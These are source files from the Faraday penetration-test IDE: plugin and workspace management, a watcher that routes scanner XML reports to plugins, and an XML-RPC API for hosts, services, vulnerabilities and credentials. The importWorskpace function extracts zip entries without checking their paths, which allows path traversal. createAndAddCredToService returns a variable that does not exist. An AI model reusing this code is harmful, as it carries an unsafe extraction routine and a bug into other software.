58 def _listPath(self, path):
59 flist = filter(lambda x: not x.startswith('.'), os.listdir(path))
60 return map(lambda x: os.path.join(path, x), flist)
61
62 def get_fs_designs(self):
63 return self._listPath(self.designs_path)
64
65 def get_all_views(self):
66 return self.get_fs_designs()
67
68 class PluginManager(object):
69 def __init__(self, plugin_repo_path, mapper_manager):
70 self._controllers = {}
71 self._plugin_modules = {}
72 self._loadPlugins(plugin_repo_path)
73 self._mapper_manager = mapper_manager
74
75 self._plugin_settings = {}
76 self._loadSettings()
77
78 def createController(self, id):
79 """
80 Creates a new plugin controller and adds it into the controllers list.
81 """
82 plugs = self._instancePlugins()
83 new_controller = plugins.core.PluginController(id, plugs, self._mapper_manager)
84 self._controllers[new_controller.id] = new_controller
85 self.updateSettings(self._plugin_settings)
86 return new_controller
87
88 def _loadSettings(self):
89 _plugin_settings=CONF.getPluginSettings()
90 if _plugin_settings:
91
92 self._plugin_settings=_plugin_settings
93
94 activep=self._instancePlugins()
95 for plugin_id, plugin in activep.iteritems():
96
97 if not plugin_id in _plugin_settings:
98 self._plugin_settings[plugin_id] = {
99 "name": plugin.name,
100 "description": plugin.description,
101 "version": plugin.version,
102 "plugin_version": plugin.plugin_version,
103 "settings": dict(plugin.getSettings())
104 }
105
106 dplugins=[]
107 for k,v in self._plugin_settings.iteritems():
108 if not k in activep:
109 dplugins.append(k)
110
111 for d in dplugins:
112 del self._plugin_settings[d]
113
114
115 CONF.setPluginSettings(self._plugin_settings)
116 CONF.saveConfig()
117
118 def getSettings(self):
119 return self._plugin_settings
120
121 def updateSettings(self, settings):
122 self._plugin_settings = settings
123 CONF.setPluginSettings(settings)
124 CONF.saveConfig()
125 for plugin_id, params in settings.iteritems():
126 new_settings = params["settings"]
127 for c_id, c_instance in self._controllers.iteritems():
128 c_instance.updatePluginSettings(plugin_id, new_settings)
129
130 def _instancePlugins(self):
131 plugins = {}
132 for module in self._plugin_modules.itervalues():
133 new_plugin = module.createPlugin()
134 self._verifyPlugin(new_plugin)
135 plugins[new_plugin.id] = new_plugin
136 return plugins
137
138 def _loadPlugins(self, plugin_repo_path):
139 """
140 Finds and load all the plugins that are available in the plugin_repo_path.
141 """
142 try:
143 os.stat(plugin_repo_path)
144 except OSError:
145
146 pass
147
148 sys.path.append(plugin_repo_path)
149
150 dir_name_regexp = re.compile(r"^[\d\w\-\_]+$")
151 for name in os.listdir(plugin_repo_path):
152 if dir_name_regexp.match(name):
153 try:
154 module_path = os.path.join(plugin_repo_path, name)
155 sys.path.append(module_path)
156 module_filename = os.path.join(module_path, "plugin.py")
157 self._plugin_modules[name] = imp.load_source(name, module_filename)
158 except Exception:
159 msg = "An error ocurred while loading plugin %s.\n%s" % (module_filename, traceback.format_exc())
160 getLogger(self).error(msg)
161 else:
162 pass
163
164 def getPlugins(self):
165 return self._instancePlugins()
166
167
168 def _updatePluginSettings(self, new_plugin_id):
169 pass
170
171 def _verifyPlugin(self, new_plugin):
172 """ Generic method that decides is a plugin is valid
173 based on a predefined set of checks. """
174 try:
175 assert(new_plugin.id is not None)
176 assert(new_plugin.version is not None)
177 assert(new_plugin.name is not None)
178 assert(new_plugin.framework_version is not None)
179 except (AssertionError,KeyError):
180
181 return False
182 return True
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7
8 from persistence.mappers.data_mappers import Mappers
9
10 # NOTE: This class is intended to be instantiated by the
11 # service or controller that needs it.
12 # IMPORTANT: There should be only one instance of this
13 # class, since it creates the datamappers and those should
14 # be unique too (they have identity maps for every model object)
15
16
17 class MapperManager(object):
18 def __init__(self):
19 # create and store the datamappers
20 self.mappers = {}
21
22 def createMappers(self, dbconnector):
23 self.mappers.clear()
24 for tmapper, mapper in Mappers.items():
25 self.mappers[tmapper] = mapper(self, dbconnector)
26
27 def save(self, obj):
28 if self.mappers.get(obj.class_signature, None):
29 self.mappers.get(obj.class_signature).save(obj)
30 return True
31 return False
32
33 def find(self, obj_id):
34 obj = self._find(obj_id, with_load=False)
35 if not obj:
36 obj = self._find(obj_id, with_load=True)
37 return obj
38
39 def _find(self, obj_id, with_load=True):
40 for mapper in self.mappers.values():
41 obj = mapper.find(obj_id, with_load=with_load)
42 if obj:
43 return obj
44 return None
45
46 def remove(self, obj_id):
47 obj = self.find(obj_id)
48 if obj:
49 self.mappers.get(obj.class_signature).delete(obj_id)
50 return True
51 return False
52
53 def reload(self, obj_id):
54 obj = self.find(obj_id)
55 if obj:
56 self.mappers.get(obj.class_signature).reload(obj)
57
58 def getMapper(self, type):
59 return self.mappers.get(type, None)
0 # -*- coding: utf-8 -*-
1
2 '''
3 Faraday Penetration Test IDE - Community Version
4 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 See the file 'doc/LICENSE' for the license information
6
7 '''
8 from utils.logs import getLogger
9 from model.workspace import Workspace
10 from persistence.persistence_managers import DBTYPE
11
12 from model.guiapi import notification_center
13
14 from config.configuration import getInstanceConfiguration
15 CONF = getInstanceConfiguration()
16
17
18 class WorkspaceManager(object):
19 """Workspace Manager class
20 It's responsabilities goes from:
21 * Workspace creation
22 * Workspace removal
23 * Workspace opening
24 * Active Workspace switching"""
25
26 def __init__(self, dbManager, mappersManager, changesManager, reportsManager, *args, **kwargs):
27 self.dbManager = dbManager
28 self.mappersManager = mappersManager
29 self.changesManager = changesManager
30 self.reportsManager = reportsManager
31 self.active_workspace = None
32
33 def getWorkspacesNames(self):
34 return self.dbManager.getAllDbNames()
35
36 def createWorkspace(self, name, desc, dbtype=DBTYPE.FS):
37 workspace = Workspace(name, desc)
38 dbConnector = self.dbManager.createDb(name, dbtype)
39 if dbConnector:
40 self.closeWorkspace()
41 self.mappersManager.createMappers(dbConnector)
42 self.mappersManager.save(workspace)
43 self.setActiveWorkspace(workspace)
44 CONF.setLastWorkspace(name)
45 CONF.saveConfig()
46 notification_center.workspaceChanged(workspace,self.getWorkspaceType(name))
47 notification_center.workspaceLoad(workspace.getHosts())
48 self.changesManager.watch(self.mappersManager, dbConnector)
49 self.reportsManager.watch(name)
50 return workspace
51 return False
52
53 def openWorkspace(self, name):
54 if name in self.getWorkspacesNames():
55 self.closeWorkspace()
56 dbConnector = self.dbManager.getConnector(name)
57 self.mappersManager.createMappers(dbConnector)
58 workspace = self.mappersManager.getMapper(Workspace.__name__).find(name)
59 if not workspace:
60 notification_center.showDialog(
61 "Error loading workspace.\nYou should try opening faraday with the '--update' option",
62 level="ERROR")
63 return self.openDefaultWorkspace()
64 self.setActiveWorkspace(workspace)
65 CONF.setLastWorkspace(name)
66 CONF.saveConfig()
67 notification_center.workspaceChanged(workspace,self.getWorkspaceType(name))
68 notification_center.workspaceLoad(workspace.getHosts())
69 self.changesManager.watch(self.mappersManager, dbConnector)
70 self.reportsManager.watch(name)
71 return workspace
72 return None
73
74 def openDefaultWorkspace(self):
75 #This method opens the default workspace called 'untitled'
76 if 'untitled' not in self.getWorkspacesNames():
77 workspace = Workspace('untitled', 'default workspace')
78 dbConnector = self.dbManager.createDb(
79 workspace.getName(), DBTYPE.FS)
80 if self.active_workspace:
81 self.closeWorkspace()
82 self.mappersManager.createMappers(dbConnector)
83 self.mappersManager.save(workspace)
84 return self.openWorkspace('untitled')
85
86
87 def closeWorkspace(self):
88 self.changesManager.unwatch()
89
90
91 def removeWorkspace(self, name):
92 if name in self.getWorkspacesNames():
93 return self.dbManager.removeDb(name)
94
95 def setActiveWorkspace(self, workspace):
96 self.active_workspace = workspace
97
98 def getActiveWorkspace(self):
99 return self.active_workspace
100
101 def workspaceExists(self, name):
102 return self.dbManager.connectorExists(name)
103
104 def resource(self):
105 self.dbManager.reloadConfig()
106
107 def isActive(self, name):
108 return self.active_workspace.getName() == name
109
110 def getWorkspaceType(self, name):
111 return self._dbTypeToNamedType(self.dbManager.getDbType(name))
112
113 def _dbTypeToNamedType(self, dbtype):
114 if dbtype == DBTYPE.COUCHDB:
115 return 'CouchDB'
116 if dbtype == DBTYPE.FS:
117 return 'FS'
118
119 def namedTypeToDbType(self, name):
120 if name =='CouchDB':
121 return DBTYPE.COUCHDB
122 if name == 'FS':
123 return DBTYPE.FS
124
125 def getAvailableWorkspaceTypes(self):
126 return [self._dbTypeToNamedType(dbtype) for \
127 dbtype in self.dbManager.getAvailableDBs()]
128
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import os
9 import model.api
10 import threading
11 import time
12 import traceback
13 import re
14 import requests
15 try:
16 import xml.etree.cElementTree as ET
17
18 except ImportError:
19 print "cElementTree could not be imported. Using ElementTree instead"
20 import xml.etree.ElementTree as ET
21 from apis.rest.api import PluginControllerAPIClient
22
23 from config.configuration import getInstanceConfiguration
24 CONF = getInstanceConfiguration()
25
26 class NoReportsWatchException(Exception): pass
27
28 class ReportManager(threading.Thread):
29 def __init__(self, timer, plugin_controller, path=None):
30 threading.Thread.__init__(self)
31 self.setDaemon(True)
32 self.timer = timer
33 self._stop = False
34 self.path = path
35 self.plugin_controller = plugin_controller
36 self._report_path = None
37 self._report_ppath = None
38
39 def run(self):
40 tmp_timer = 0
41 while not self._stop:
42
43 time.sleep(1)
44 tmp_timer += 1
45 if tmp_timer == self.timer:
46 try:
47 self.syncReports()
48 except Exception:
49 model.api.devlog("An exception was captured while saving reports\n%s" % traceback.format_exc())
50 finally:
51 tmp_timer = 0
52
53 def stop(self):
54 self._stop = True
55
56 def watch(self, name):
57 self._report_path = os.path.join(CONF.getReportPath(), name)
58 self._report_ppath = os.path.join(self._report_path, "process")
59
60 if not os.path.exists(self._report_path):
61 os.mkdir(self._report_path)
62
63 if not os.path.exists(self._report_ppath):
64 os.mkdir(self._report_ppath)
65
66 def startWatch(self):
67 if not self._report_path:
68 raise NoReportsWatchException()
69 self.start()
70
71 def syncReports(self):
72 """
73 Synchronize report directory using the DataManager and Plugins online
74 We first make sure that all shared reports were added to the repo
75 """
76
77 for root, dirs, files in os.walk(self._report_path, False):
78
79 if root == self._report_path:
80 for name in files:
81 filename = os.path.join(root, name)
82 model.api.devlog( "Report file is %s" % filename)
83
84 parser = ReportXmlParser(filename)
85 if (parser.report_type is not None):
86 #TODO: get host and port from config
87 client = PluginControllerAPIClient("127.0.0.1", 9977)
88
89 model.api.devlog("The file is %s, %s" % (filename,parser.report_type))
90
91 command_string = "./%s report" % parser.report_type.lower()
92 model.api.devlog("Executing %s" % (command_string))
93
94 new_cmd, output_file = client.send_cmd(command_string)
95 client.send_output(command_string, filename)
96 os.rename(filename, os.path.join(self._report_ppath, name))
97
98 self.onlinePlugins()
99
100
101 def onlinePlugins(self):
102 """
103 Process online plugins
104 """
105 _pluginsOn={"MetasploitOn" : "./metasploiton online",}
106 _pluginsOn.update({"Beef" : "./beef online",})
107 _psettings=CONF.getPluginSettings()
108
109 for k,v in _pluginsOn.iteritems():
110 if k in _psettings:
111 if _psettings[k]['settings']['Enable'] == "1":
112 new_cmd = self.plugin_controller.processCommandInput("", "",
113 "",
114 v,
115 False)
116
117 self.plugin_controller.storeCommandOutput("")
118
119 self.plugin_controller.onCommandFinished()
120
121
122
123 class ReportXmlParser(object):
124
125 """Plugin that handles XML report files.
126
127 :param xml_filepath: Xml file.
128
129 :class:`.LoadReportXML`
130 """
131
132 def __init__(self, xml_report_path):
133 self.report_type = ""
134 root_tag,output = self.getRootTag(xml_report_path)
135
136 if root_tag:
137 self.report_type = self.rType(root_tag,output)
138 model.api.devlog(self.report_type)
139
140 def getRootTag(self, xml_file_path):
141 result = f = None
142 try:
143 f = open(xml_file_path, 'rb')
144 try:
145 for event, elem in ET.iterparse(f, ('start', )):
146 result = elem.tag
147 break
148 except SyntaxError, err:
149 self.report_type = None
150 model.api.devlog("Not an xml file.\n %s" % (err))
151
152 except IOError, err:
153 self.report_type = None
154 model.api.devlog("Error while opening file.\n%s. %s" % (err, xml_file_path))
155 finally:
156 f.seek(0)
157 output=f.read()
158 if f: f.close()
159
160 return result,output
161
162 def rType(self, tag, output):
163 """Compares report root tag with known root tags.
164
165 :param root_tag
166 :rtype
167 """
168 if "arachni_report" == tag:
169 return "arachni"
170 elif "nmaprun" == tag:
171 return "nmap"
172 elif "w3afrun" == tag:
173 return "w3af"
174 elif "NessusClientData_v2" == tag:
175 return "nessus"
176 elif "report" == tag:
177 if re.search("alertitem",output) is None:
178 return "openvas"
179 else:
180 return "zap"
181 elif "niktoscan" == tag:
182 return "nikto"
183 elif "MetasploitV4" == tag:
184 return "metasploit"
185 elif "MetasploitV5" == tag:
186 return "metasploit"
187 elif "issues" == tag:
188 return "burp"
189 elif "OWASPZAPReport" == tag:
190 return "zap"
191 elif "ScanGroup" == tag:
192 return "acunetix"
193 elif "session" == tag:
194 return "x1"
195 elif "entities" == tag:
196 return "impact"
197 elif "NeXposeSimpleXML" == tag:
198 return "nexpose"
199 elif "SCAN" == tag:
200 return "qualysguard"
201 elif "scanJob" == tag:
202 return "retina"
203 elif "netsparker" == tag:
204 return "netsparker"
205 else:
206 return None
207
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import os
9 import zipfile
10
11 import model.common
12 from config.configuration import getInstanceConfiguration
13 #from workspace import Workspace
14 import model.log
15 from utils.common import *
16 import shutil
17 #from plugins.api import PluginControllerAPI
18
19 CONF = getInstanceConfiguration()
20
21 # global reference only for this module to work with the model controller
22 __model_controller = None
23
24 __workspace_manager = None
25
26 _xmlrpc_api_server = None
27 _plugin_controller_api = None
28
29 #XXX: temp way to replicate info
30 _remote_servers_proxy = []
31
32 _remote_sync_server_proxy = None
33
34 # name of the currently logged user
35 __current_logged_user = ""
36
37
38 def setUpAPIs(controller, workspace_manager, hostname=None, port=None):
39 global __model_controller
40 __model_controller = controller
41 global __workspace_manager
42 __workspace_manager = workspace_manager
43 _setUpAPIServer(hostname, port)
44
45
46 def startAPIServer():
47 global _xmlrpc_api_server
48 if _xmlrpc_api_server is not None:
49 devlog("starting xmlrpc api server...")
50 #_xmlrpc_api_server.serve_forever()
51 _xmlrpc_api_server.start()
52
53
54 def stopAPIServer():
55 global _xmlrpc_api_server
56 if _xmlrpc_api_server is not None:
57 _xmlrpc_api_server.stop_server()
58 devlog("called stop on xmlrpc server")
59 _xmlrpc_api_server.join()
60 devlog("xmlrpc thread joined")
61
62
63 def _setUpAPIServer(hostname=None, port=None):
64 global _xmlrpc_api_server
65 global api_conn_info
66 if _xmlrpc_api_server is None:
67 #TODO: some way to get defaults.. from config?
68 if str(hostname) == "None":
69 hostname = "localhost"
70 if str(port) == "None":
71 port = 9876
72
73 if CONF.getApiConInfo() is None:
74 CONF.setApiConInfo(hostname, port)
75 devlog("starting XMLRPCServer with api_conn_info = %s" % str(CONF.getApiConInfo()))
76 try:
77 _xmlrpc_api_server = model.common.XMLRPCServer(CONF.getApiConInfo())
78 # Registers the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature.
79 _xmlrpc_api_server.register_introspection_functions()
80
81 # register a function to nicely stop server
82 _xmlrpc_api_server.register_function(_xmlrpc_api_server.stop_server)
83
84 # register all the api functions to be exposed by the server
85 _xmlrpc_api_server.register_function(createAndAddHost)
86 _xmlrpc_api_server.register_function(createAndAddInterface)
87 _xmlrpc_api_server.register_function(createAndAddServiceToApplication)
88 _xmlrpc_api_server.register_function(createAndAddServiceToInterface)
89 _xmlrpc_api_server.register_function(createAndAddApplication)
90 _xmlrpc_api_server.register_function(createAndAddNoteToService)
91 _xmlrpc_api_server.register_function(createAndAddNoteToHost)
92 _xmlrpc_api_server.register_function(createAndAddNoteToNote)
93 _xmlrpc_api_server.register_function(createAndAddVulnWebToService)
94 _xmlrpc_api_server.register_function(createAndAddVulnToHost)
95 _xmlrpc_api_server.register_function(addHost)
96 _xmlrpc_api_server.register_function(addInterface)
97 _xmlrpc_api_server.register_function(addServiceToApplication)
98 _xmlrpc_api_server.register_function(addServiceToInterface)
99 _xmlrpc_api_server.register_function(addApplication)
100 _xmlrpc_api_server.register_function(newHost)
101 _xmlrpc_api_server.register_function(newInterface)
102 _xmlrpc_api_server.register_function(newService)
103 _xmlrpc_api_server.register_function(newApplication)
104 _xmlrpc_api_server.register_function(devlog)
105
106 #TODO: check if all necessary APIs are registered here!!
107
108 devlog("XMLRPC API server configured...")
109 except Exception, e:
110 msg = "There was an error creating the XMLRPC API Server:\n%s" % str(e)
111 log(msg)
112 devlog("[ERROR] - %s" % msg)
113
114
115 #-------------------------------------------------------------------------------
116 # APIs to create and add elements to model
117 #-------------------------------------------------------------------------------
118
119 #TODO: create a decorator to find the caller of an api to try to determine which
120 # plugin created the object
121
122
123 def createAndAddHost(name, os = "Unknown", category=None, update = False, old_hostname = None ):
124 host = newHost(name, os)
125 if addHost(host, category, update, old_hostname):
126 return host.getID()
127 return None
128
129 def createAndAddInterface(host_id, name = "", mac = "00:00:00:00:00:00",
130 ipv4_address = "0.0.0.0", ipv4_mask = "0.0.0.0",
131 ipv4_gateway = "0.0.0.0", ipv4_dns = [],
132 ipv6_address = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_prefix = "00",
133 ipv6_gateway = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_dns = [],
134 network_segment = "", hostname_resolution = []):
135 """
136 Creates a new interface object with the parameters provided and adds it to
137 the host selected.
138 If interface is successfuly created and the host exists, it returns the inteface id
139 It returns None otherwise
140 """
141 interface = newInterface(name, mac, ipv4_address, ipv4_mask, ipv4_gateway,
142 ipv4_dns,ipv6_address,ipv6_prefix,ipv6_gateway,ipv6_dns,
143 network_segment, hostname_resolution, parent_id=host_id)
144 if addInterface(host_id, interface):
145 return interface.getID()
146 return None
147
148 def createAndAddApplication(host_id, name, status = "running", version = "unknown"):
149 application = newApplication(name, status, version)
150 if addApplication(host_id, application):
151 return application.getID()
152 return None
153
154 def createAndAddServiceToApplication(host_id, application_id, name, protocol = "tcp?",
155 ports = [], status = "running", version = "unknown", description = ""):
156 service = newService(name, protocol, ports, status, version, description)
157 if addServiceToApplication(host_id, application_id, service):
158 return service.getID()
159 return None
160
161 def createAndAddServiceToInterface(host_id, interface_id, name, protocol = "tcp?",
162 ports = [], status = "running", version = "unknown", description = ""):
163 service = newService(name, protocol, ports, status, version, description, parent_id=interface_id)
164 if addServiceToInterface(host_id, interface_id, service):
165 return service.getID()
166 return None
167
168 # Vulnerability
169
170 def createAndAddVulnToHost(host_id, name, desc, ref, severity):
171 vuln = newVuln(name, desc, ref, severity, parent_id=host_id)
172 if addVulnToHost(host_id, vuln):
173 return vuln.getID()
174 return None
175
176 def createAndAddVulnToInterface(host_id, interface_id, name, desc, ref, severity):
177 vuln = newVuln(name, desc, ref, severity, parent_id=interface_id)
178 if addVulnToInterface(host_id, interface_id, vuln):
179 return vuln.getID()
180 return None
181
182 def createAndAddVulnToApplication(host_id, application_id, name, desc, ref, severity):
183 vuln = newVuln(name, desc, ref, severity)
184 if addVulnToApplication(host_id, application_id, vuln):
185 return vuln.getID()
186 return None
187
188 def createAndAddVulnToService(host_id, service_id, name, desc, ref, severity):
189 #we should give the interface_id or de application_id too? I think we should...
190 vuln = newVuln(name, desc, ref, severity, parent_id=service_id)
191 if addVulnToService(host_id, service_id, vuln):
192 return vuln.getID()
193 return None
194
195 #WebVuln
196
197 def createAndAddVulnWebToService(host_id, service_id, name, desc, ref, severity, website, path, request, response,
198 method,pname, params,query,category):
199 #we should give the interface_id or de application_id too? I think we should...
200 vuln = newVulnWeb(name, desc, ref, severity, website, path, request, response,
201 method,pname, params,query,category, parent_id=service_id)
202 if addVulnWebToService(host_id, service_id, vuln):
203 return vuln.getID()
204 return None
205
206 # Note
207
208 def createAndAddNoteToHost(host_id, name, text):
209 note = newNote(name, text, parent_id=host_id)
210 if addNoteToHost(host_id, note):
211 return note.getID()
212 return None
213
214 def createAndAddNoteToInterface(host_id, interface_id, name, text):
215 note = newNote(name, text, parent_id=interface_id)
216 if addNoteToInterface(host_id, interface_id, note):
217 return note.getID()
218 return None
219
220 def createAndAddNoteToApplication(host_id, application_id, name, text):
221 note = newNote(text)
222 if addNoteToApplication(host_id, application_id, note):
223 return note.getID()
224 return None
225
226 def createAndAddNoteToService(host_id, service_id, name, text):
227 note = newNote(name, text, parent_id=service_id)
228 if addNoteToService(host_id, service_id, note):
229 return note.getID()
230 return None
231
232 def createAndAddNoteToNote(host_id, service_id, note_id, name, text):
233 note = newNote(name, text, parent_id=note_id)
234 if addNoteToNote(host_id, service_id, note_id, note):
235 return note.getID()
236 return None
237
238 def createAndAddCredToService(host_id, service_id, username, password):
239 cred = newCred(username, password, parent_id=service_id)
240 if addCredToService(host_id, service_id, cred):
241 return note.getID()
242 return None
243
244 #-------------------------------------------------------------------------------
245 # APIs to add already created objets to the model
246 #-------------------------------------------------------------------------------
247
248 #TODO: add class check to object passed to be sure we are adding the right thing to the model
249
250 def addHost(host, category=None, update = False, old_hostname = None):
251 if host is not None:
252 __model_controller.addHostASYNC(host, category, update, old_hostname)
253 return True
254 return False
255
256 def addInterface(host_id, interface):
257 if interface is not None:
258 __model_controller.addInterfaceASYNC(host_id, interface)
259 return True
260 return False
261
262 def addApplication(host_id, application):
263 if application is not None:
264 __model_controller.addApplicationASYNC(host_id, application)
265 return True
266 return False
267
268 def addServiceToApplication(host_id, application_id, service):
269 if service is not None:
270 __model_controller.addServiceToApplicationASYNC(host_id, application_id, service)
271 return True
272 return False
273
274 def addServiceToInterface(host_id, interface_id, service):
275 if service is not None:
276 __model_controller.addServiceToInterfaceASYNC(host_id, interface_id, service)
277 return True
278 return False
279
280 # Vulnerability
281
282 def addVulnToHost(host_id, vuln):
283 if vuln is not None:
284 __model_controller.addVulnToHostASYNC(host_id, vuln)
285 return True
286 return False
287
288 def addVulnToInterface(host_id, interface_id, vuln):
289 if vuln is not None:
290 __model_controller.addVulnToInterfaceASYNC(host_id, interface_id, vuln)
291 return True
292 return False
293
294 def addVulnToApplication(host_id, application_id, vuln):
295 if vuln is not None:
296 __model_controller.addVulnToApplicationASYNC(host_id, application_id, vuln)
297 return True
298 return False
299
300 def addVulnToService(host_id, service_id, vuln):
301 if vuln is not None:
302 __model_controller.addVulnToServiceASYNC(host_id, service_id, vuln)
303 return True
304 return False
305
306 #VulnWeb
307 def addVulnWebToService(host_id, service_id, vuln):
308 if vuln is not None:
309 __model_controller.addVulnWebToServiceASYNC(host_id, service_id, vuln)
310 return True
311 return False
312
313
314
315 # Notes
316
317
318
319
320 def addNoteToHost(host_id, note):
321 if note is not None:
322 __model_controller.addNoteToHostASYNC(host_id, note)
323 return True
324 return False
325
326 def addNoteToInterface(host_id, interface_id, note):
327 if note is not None:
328 __model_controller.addNoteToInterfaceASYNC(host_id, interface_id, note)
329 return True
330 return False
331
332 def addNoteToApplication(host_id, application_id, note):
333 if note is not None:
334 __model_controller.addNoteToApplicationASYNC(host_id, application_id, note)
335 return True
336 return False
337
338 def addNoteToService(host_id, service_id, note):
339 if note is not None:
340 __model_controller.addNoteToServiceASYNC(host_id, service_id, note)
341 return True
342 return False
343
344 def addNoteToNote(host_id, service_id, note_id, note):
345 if note is not None:
346 __model_controller.addNoteToNoteASYNC(host_id, service_id, note_id, note)
347 return True
348 return False
349
350 def addCredToService(host_id, service_id, cred):
351 if cred is not None:
352 __model_controller.addCredToServiceASYNC(host_id, service_id, cred)
353 return True
354 return False
355
356 #-------------------------------------------------------------------------------
357 # APIs to delete elements to model
358 #-------------------------------------------------------------------------------
359 #TODO: delete funcitons are still missing
360 def delHost(hostname):
361 __model_controller.delHostASYNC(hostname)
362 return True
363
364 def delApplication(hostname,appname):
365 __model_controller.delApplicationASYNC(hostname,appname)
366 return True
367
368 def delInterface(hostname,intname):
369 __model_controller.delInterfaceASYNC(hostname,intname)
370 return True
371
372 def delServiceFromHost(hostname, service):
373 __model_controller.delServiceFromHostASYNC(hostname, service)
374 return True
375
376 def delServiceFromInterface(hostname, intname, service, remote = True):
377 __model_controller.delServiceFromInterfaceASYNC(hostname,intname,service)
378 return True
379
380 def delServiceFromApplication(hostname, appname, service):
381 __model_controller.delServiceFromApplicationASYNC(hostname,appname,service)
382 return True
383
384 # Vulnerability
385 #-------------------------------------------------------------------------------
386 def delVulnFromApplication(vuln, hostname, appname):
387 __model_controller.delVulnFromApplicationASYNC(hostname, appname, vuln)
388 return True
389 #-------------------------------------------------------------------------------
390 def delVulnFromInterface(vuln, hostname, intname):
391 __model_controller.delVulnFromInterfaceASYNC(hostname,intname, vuln)
392 return True
393 #-------------------------------------------------------------------------------
394 def delVulnFromHost(vuln, hostname):
395 __model_controller.delVulnFromHostASYNC(hostname,vuln)
396 return True
397
398 #-------------------------------------------------------------------------------
399 def delVulnFromService(vuln, hostname, srvname):
400 __model_controller.delVulnFromServiceASYNC(hostname,srvname, vuln)
401 return True
402
403 # Notes
404 #-------------------------------------------------------------------------------
405 def delNoteFromApplication(note, hostname, appname):
406 __model_controller.delNoteFromApplicationASYNC(hostname, appname, note)
407 return True
408 #-------------------------------------------------------------------------------
409 def delNoteFromInterface(note, hostname, intname):
410 __model_controller.delNoteFromInterfaceASYNC(hostname,intname, note)
411 return True
412 #-------------------------------------------------------------------------------
413 def delNoteFromHost(note, hostname):
414 __model_controller.delNoteFromHostASYNC(hostname, note)
415 return True
416
417 #-------------------------------------------------------------------------------
418 def delNoteFromService(note, hostname, srvname):
419 __model_controller.delNoteFromServiceASYNC(hostname,srvname, note)
420 return True
421
422 #-------------------------------------------------------------------------------
423 def delCredFromService(cred, hostname, srvname):
424 __model_controller.delCredFromServiceASYNC(hostname,srvname, cred)
425 return True
426
427 #-------------------------------------------------------------------------------
428 # CREATION APIS
429 #-------------------------------------------------------------------------------
430
431
432 def newHost(name, os = "Unknown"):
433 """
434 It creates and returns a Host object.
435 The object created is not added to the model.
436 """
437 return __model_controller.newHost(name, os)
438
439
440 def newInterface(name = "", mac = "00:00:00:00:00:00",
441 ipv4_address = "0.0.0.0", ipv4_mask = "0.0.0.0",
442 ipv4_gateway = "0.0.0.0", ipv4_dns = [],
443 ipv6_address = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_prefix = "00",
444 ipv6_gateway = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_dns = [],
445 network_segment = "", hostname_resolution = [], parent_id=None):
446 """
447 It creates and returns an Interface object.
448 The created object is not added to the model.
449 """
450 return __model_controller.newInterface(
451 name, mac, ipv4_address, ipv4_mask, ipv4_gateway, ipv4_dns,
452 ipv6_address, ipv6_prefix, ipv6_gateway, ipv6_dns, network_segment,
453 hostname_resolution, parent_id)
454
455 def newService(name, protocol = "tcp?", ports = [], status = "running",
456 version = "unknown", description = "", parent_id=None):
457 """
458 It creates and returns a Service object.
459 The created object is not added to the model.
460 """
461 return __model_controller.newService(
462 name, protocol, ports, status, version, description, parent_id)
463
464
465 def newVuln(name, desc="", ref = None, severity="", parent_id=None):
466 """
467 It creates and returns a Vulnerability object.
468 The created object is not added to the model.
469 """
470 return __model_controller.newVuln(
471 name, desc, ref, severity, parent_id)
472
473
474 def newVulnWeb(name, desc="", ref = None, severity="", website="", path="", request="", response="",
475 method="",pname="", params="",query="",category="", parent_id=None):
476 """
477 It creates and returns a Vulnerability object.
478 The created object is not added to the model.
479 """
480 return __model_controller.newVulnWeb(
481 name, desc, ref, severity, website, path, request, response,
482 method, pname, params, query, category, parent_id)
483
484
485 def newNote(name, text, parent_id=None):
486 """
487 It creates and returns a Note object.
488 The created object is not added to the model.
489 """
490 return __model_controller.newNote(name, text, parent_id)
491
492
493 def newCred(username, password, parent_id=None):
494 """
495 It creates and returns a Cred object.
496 The created object is not added to the model.
497 """
498 return __model_controller.newCred(username, password, parent_id)
499
500
501 #-------------------------------------------------------------------------------
502 def newApplication(name, status = "running", version = "unknown"):
503 """
504 It creates and returns an Application object.
505 The created object is not added to the model.
506 """
507 return model.common.factory.createModelObject("HostApplication",name,
508 status = status,
509 version = version)
510
511 #-------------------------------------------------------------------------------
512
513 #getConflicts: get the current conflicts
514 def getConflicts():
515 return __model_controller.getConflicts()
516
517 #-------------------------------------------------------------------------------
518
519 #exportWorskpace
520
521 def exportWorskpace(workspace_path, export_path):
522 """
523 This api will create a zip file for the persistence directory
524 """
525 zip = zipfile.ZipFile(export_path, 'w', compression=zipfile.ZIP_DEFLATED)
526 root_len = len(os.path.abspath(workspace_path))
527 for root, dirs, files in os.walk(workspace_path):
528 if ".svn" not in root:
529 archive_root = os.path.abspath(root)[root_len:]
530 if files is not ".svn":
531 for f in files:
532 fullpath = os.path.join(root, f)
533 archive_name = os.path.join(archive_root, f)
534 # print f
535 zip.write(fullpath, archive_name, zipfile.ZIP_DEFLATED)
536 zip.close()
537
538
539 def importWorskpace(workspace_path, file_path):
540 """
541 This api will import a zip file of the persistence directory.
542 WARNING: this will overwrite any existing files!
543 """
544
545 archive = zipfile.ZipFile(str(file_path), "r", zipfile.ZIP_DEFLATED)
546 names = archive.namelist()
547
548 for name in names:
549 filename = os.path.join(workspace_path, name)
550 if not os.path.exists(os.path.dirname(filename)):
551 os.mkdir(os.path.dirname(filename))
552 # create the output file. This will overwrite any existing file with the same name
553 temp = open(filename, "wb")
554 data = archive.read(name) # read data from zip archive
555 temp.write(data)
556 temp.close()
557
558 archive.close()
559
